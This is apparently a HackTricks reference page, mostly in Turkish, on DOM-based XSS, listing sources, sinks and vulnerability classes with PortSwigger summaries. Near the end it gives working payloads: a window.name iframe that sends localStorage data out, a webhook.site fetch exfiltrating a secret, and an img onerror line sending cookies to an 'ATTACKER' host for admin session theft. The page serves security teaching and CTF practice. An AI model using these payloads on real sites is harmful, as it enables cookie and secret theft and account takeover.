DOM XSS
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
DOM Zafiyetleri
DOM zafiyetleri, saldırgan tarafından kontrol edilen kaynaklardan (ör. location.search, document.referrer, veya document.cookie gibi) gelen verilerin güvensiz bir şekilde sink’lere aktarılması durumunda ortaya çıkar. Sink’ler, kötü amaçlı veri verildiğinde zararlı içeriği çalıştırabilen veya render edebilen fonksiyonlar veya nesnelerdir (örn. eval(), document.body.innerHTML).
- Kaynaklar, URL’ler, çerezler ve web mesajları dahil olmak üzere saldırganlar tarafından değiştirilebilen girdilerdir.
- Sink’ler, kötü amaçlı verinin script çalıştırma gibi olumsuz etkilere yol açabileceği potansiyel olarak tehlikeli uç noktalardır.
Risk, bir kaynaktan bir sink’e doğru veri akışı uygun doğrulama veya temizleme yapılmadan gerçekleştiğinde ortaya çıkar; bu da XSS gibi saldırılara olanak tanır.
Tip
Kaynaklar ve sink’lerin daha güncel bir listesini şuradan bulabilirsiniz https://github.com/wisec/domxsswiki/wiki
Yaygın kaynaklar:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
Bu tür XSS muhtemelen bulması en zor olanıdır; çünkü JS kodunun içine bakmanız, kontrolünüzde olan herhangi bir nesnenin kullanılıp kullanılmadığını görmeniz ve bu durumda rastgele JS çalıştırmak için onu kötüye kullanmanın bir yolu olup olmadığını tespit etmeniz gerekir.
Tools to find them
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Potansiyel bir sink’e ulaşan her veriyi kontrol etmek için tarayıcı eklentisi: https://github.com/kevin-mizu/domloggerpp
Örnekler
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
Yönlendirme gerçekleşen URL’nin başlangıcı üzerinde kontrole sahipseniz, javascript:alert(1) gibi rastgele kod çalıştırmanın mümkün olduğunu anlamak önemlidir.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities, bir script’in saldırgan tarafından kontrol edilebilen veriyi bir cookie değerine dahil etmesi durumunda ortaya çıkar. Bu zafiyet, cookie site içinde kullanılıyorsa web sayfasının beklenmeyen davranışlarına yol açabilir. Ayrıca, cookie kullanıcı oturumlarının takibinde kullanılıyorsa session fixation saldırısı gerçekleştirmek için suistimal edilebilir. Bu zafiyetle ilişkili birincil sink şudur:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection zafiyetleri, bir scriptin saldırgan tarafından kontrol edilebilen veriyi JavaScript kodu olarak çalıştırması durumunda oluşur.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
Kaynak: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities bir saldırganın kontrol edebileceği verileri kullanarak document.domain özelliğini ayarlayan bir betik çalıştırıldığında ortaya çıkar.
document.domain özelliği tarayıcılar tarafından same-origin policy’nin uygulanmasında anahtar bir rol oynar. Farklı origin’lere sahip iki sayfa document.domain’lerini aynı değere ayarladıklarında, kısıtlama olmadan etkileşimde bulunabilirler. Tarayıcılar document.domain’e atanabilecek değerlere belirli sınırlamalar getirse de, gerçek sayfanın origin’inden tamamen alakasız değerlerin atanmasını engelleyen istisnalar vardır. Genellikle tarayıcılar child veya parent domains kullanımına izin verir.
Sinks:
document.domain
WebSocket-URL poisoning
Kaynak: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning bir script’in bir WebSocket bağlantısı için kontrol edilebilir veriyi hedef URL olarak kullanması durumunda meydana gelir.
Sinks:
The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.
Link manipulation
Kaynak: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities bir script’in mevcut sayfa içinde, tıklanabilir bir link veya bir formun gönderim URL’si gibi bir navigasyon hedefine saldırgan tarafından kontrol edilebilen veriyi yazması durumunda ortaya çıkar.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Kaynak: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities bir scriptin XmlHttpRequest nesnesi kullanılarak gönderilen bir Ajax isteğine attacker-controllable data into an Ajax request yazdığı durumlarda ortaya çıkar.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities bir betik filename parametresi olarak saldırgan tarafından kontrol edilebilen veriyi bir dosya işleme API’sine ilettiğinde ortaya çıkar. Bu zafiyet, bir saldırgan tarafından ziyaret edilmesi halinde başka bir kullanıcının tarayıcısının herhangi bir yerel dosyayı açmasına veya yazmasına yol açabilecek bir URL oluşturmak için kullanılabilir.
Sink’ler:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities bir scriptin attacker-controllable data into a client-side SQL query in an unsafe way içermesi durumunda ortaya çıkar.
Sinks:
executeSql()
HTML5-storage manipulation
Kaynak: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities bir script’in saldırgan tarafından kontrol edilebilen verileri web tarayıcısının HTML5 storage’ına (localStorage veya sessionStorage) kaydettiği durumlarda ortaya çıkar. Bu eylem tek başına bir güvenlik açığı olmasa da, uygulama daha sonra kaydedilmiş veriyi okur ve bunu güvensiz şekilde işlerse sorunlu hale gelir. Bu, bir saldırganın depolama mekanizmasını diğer DOM-based attacks (örneğin cross-site scripting ve JavaScript injection) gerçekleştirmek için kullanmasına olanak tanıyabilir.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities bir scriptin attacker-controllable data’yı bir XPath query’ye dahil etmesi durumunda ortaya çıkar.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
Kaynak: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities, bir betik saldırgan tarafından kontrol edilebilen veriyi JSON veri yapısı olarak ayrıştırılan ve ardından uygulama tarafından işlenen bir dizeye dahil ettiğinde ortaya çıkar.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: [https://portswigger.net/web-security/dom-based/web-message-manipulation]
Web-message vulnerabilities bir script tarayıcı içinde başka bir belgeye attacker-controllable data as a web message to another document gönderdiğinde ortaya çıkar. An example of vulnerable Web-message manipulation can be found at PortSwigger’s Web Security Academy.
Sinks:
Web message göndermek için kullanılan postMessage() metodu, mesajları alan event listener gelen verileri güvensiz şekilde işlerse zafiyetlere yol açabilir.
DOM-data manipulation
From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation]
DOM-data manipulation vulnerabilities bir script DOM içindeki bir alana attacker-controllable data to a field within the DOM yazdığında ortaya çıkar; bu alan görünür UI veya client-side logic içinde kullanılır. Bu zafiyet, bir saldırganın başka bir kullanıcı tarafından ziyaret edildiğinde client-side UI’nin görünümünü veya davranışını değiştirebilecek bir URL oluşturması için kullanılabilir.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities bir script’in attacker-controllable data unsafely to a problematic platform API geçirmesi durumunda ortaya çıkar. Bu, çağrıldığında kullanıcının bilgisayarının aşırı miktarda CPU veya disk alanı tüketmesine yol açabilecek API’leri içerir. Bu tür zafiyetler, tarayıcının localStorage’a veri kaydetme girişimlerini reddederek sitenin işlevselliğini kısıtlaması veya yoğun çalışan script’leri sonlandırması gibi önemli yan etkilere sahip olabilir.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Örtük global değişkenler ve window.name suistimali
Deklarasyon (var/let/const) olmadan name’e referans vermek window.name’e çözülür. window.name, originler arası gezinmelerde kalıcı olduğundan, bir saldırgan tarayıcı bağlamı adını HTML/JS ile önceden doldurup daha sonra hedef kodunun bunu güvenilir veri olarak render etmesini sağlayabilir:
- Hedefi kontrolünüzdeki isimlendirilmiş bir bağlamda açın/gezin:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Veya oluşturulmuş bir hedef adı ile
window.open’ı yeniden kullanın:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Eğer uygulama daha sonra element.innerHTML = name (veya benzer bir sink) sanitizasyon olmadan çalıştırırsa, saldırgan tarafından kontrol edilen window.name dizesi hedef origin’de yürütülür; bu DOM XSS ve same-origin storage erişimini mümkün kılar.
Admin/automation flows: pre-seeded storage & javascript: navigation
Otomasyon botları (örn. Playwright) genellikle önce bir iç sayfayı ziyaret eder, localStorage/cookies içine secret’ları yerleştirir, sonra kullanıcı tarafından sağlanan URL’lere gider. Bu akıştaki herhangi bir DOM XSS primitive (dahil window.name kötüye kullanımı), önceden yerleştirilen secret’ı exfiltrate edebilir:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Eğer bot scheme’leri kısıtlamıyorsa, bir javascript: URL’si (javascript:fetch(...)) sağlamak yeni bir navigasyon olmadan mevcut origin içinde çalışır ve storage değerlerini doğrudan leak eder.
Template literal innerHTML + kısmi sanitizasyon açıklıkları
Sadece belirli alanları sanitize eden fakat yine de güvensiz bir alanı doğrudan innerHTML içine yerleştiren frontend’ler kolayca istismar edilebilir. Örnek:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
Eğer temizlenmemiş alan sunucu tarafında saklanıyorsa (ör. bug report “details”), payload herhangi bir yetkili liste görüntüleyicisi için stored DOM XSS haline gelir. <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> gibi basit bir payload, bir admin sayfayı açtığında çalışır ve cookies’lerini dışarı aktarır.
When the app explicitly disables SESSION_COOKIE_HTTPONLY (e.g., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random secret_key prevents forging, but theft still works).
References
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


